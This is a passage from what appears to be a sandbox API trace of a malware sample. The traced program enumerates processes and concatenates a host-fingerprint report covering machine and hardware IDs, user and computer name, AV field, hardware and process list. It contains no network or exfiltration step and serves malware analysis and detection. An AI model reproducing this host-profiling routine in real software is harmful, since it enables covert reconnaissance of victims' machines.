16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n"
[0054.846] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x210, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0054.847] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- "
[0054.847] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- ", lpString2="svchost.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe"
[0054.847] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe ["
[0054.847] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67daf8
[0054.847] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67dab8
[0054.847] GetLastError () returned 0x7a
[0054.847] SetLastError (dwErrCode=0x7a)
[0054.847] GetLastError () returned 0x7a
[0054.847] SetLastError (dwErrCode=0x7a)
[0054.847] GetLastError () returned 0x7a
[0054.847] SetLastError (dwErrCode=0x7a)
[0054.847] GetLastError () returned 0x7a
[0054.847] SetLastError (dwErrCode=0x7a)
[0054.847] GetLastError () returned 0x7a
[0054.847] SetLastError (dwErrCode=0x7a)
[0054.847] GetLastError () returned 0x7a
[0054.847] SetLastError (dwErrCode=0x7a)
[0054.847] GetLastError () returned 0x7a
[0054.847] SetLastError (dwErrCode=0x7a)
[0054.847] GetLastError () returned 0x7a
[0054.847] SetLastError (dwErrCode=0x7a)
[0054.847] GetLastError () returned 0x7a
[0054.847] SetLastError (dwErrCode=0x7a)
[0054.848] GetLastError () returned 0x7a
[0054.848] SetLastError (dwErrCode=0x7a)
[0054.848] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.848] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dab8 | out: hHeap=0x670000) returned 1
[0054.848] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.848] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67daf8 | out: hHeap=0x670000) returned 1
[0054.848] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [", lpString2="1668" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668"
[0054.848] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n"
[0054.848] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x26c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
[0054.849] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser 